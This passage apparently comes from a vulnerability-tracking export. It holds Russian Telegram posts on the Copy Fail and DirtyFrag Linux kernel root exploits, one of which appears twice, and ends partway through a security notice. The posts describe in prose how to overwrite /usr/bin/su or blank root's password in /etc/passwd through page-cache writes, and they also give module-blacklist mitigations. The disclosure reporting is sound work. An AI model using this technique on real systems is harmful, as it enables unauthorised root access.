root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-07-28T22:00:05.526983Z"}, {"uuid": "cd427cf4-0b52-4c2c-982a-6ea8c22daef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2579", "content": "\u0410\u0441\u0442\u0440\u043e\u043b\u043e\u0433\u0438 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b PoC \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043b\u044f  Copy Fail (CVE-2026-31431)\n\n\ud83d\udc40@ever_secure | \ud83d\udcaa \u041c\u0435\u0440\u0447 | \ud83d\udcb3\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c", "creation_timestamp": "2026-07-29T00:00:11.823703Z"}, {"uuid": "77c2c195-28ad-4afc-b3ee-2cd9b4e94856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/zhatez/2587", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-07-29T00:00:12.019933Z"}, {"uuid": "397e2ce1-6e66-4235-8fa2-0ebe8382bc6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/aenix_io/393", "content": "\ud83d\udee1 Security notice \u2014 GRO Frag (Linux kernel)\n\n\ud83d\udd0d What's the issue\nA new Linux kernel local privilege escalation has been disclosed \u2014 informally called GRO Frag. It's another variant in the same family as Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500) and Fragnesia (CVE-2026-46300) \u2014 a missing SKBFL_SHARED_FRAG flag propagation, this time in skb_gro_receive(). A local attacker can corrupt page-cache-backed memory (e.g. /usr/bin/su) and gain root.\n\n\ud83d\udcda References\n\u2022 CIQ \u2014 GRO variant analysis \u2014 https://ciq.com/blog/fragnesia-cve-2026-46300\n\u2022 Gentoo \u2014 Copy Fail / Dirty Frag / Fragnesia overview \u2014 https://www.gentoo.org/news/2026/05/19/copy-fail-fragnesia-vulnerabilities.html\n\n\u2705 Impact on your Cozystack tenants \u2014 none\nExploitation requires a privileged Linux capability (CAP_*_ADMIN) and the ability to run arbitrary code against the host kernel. In 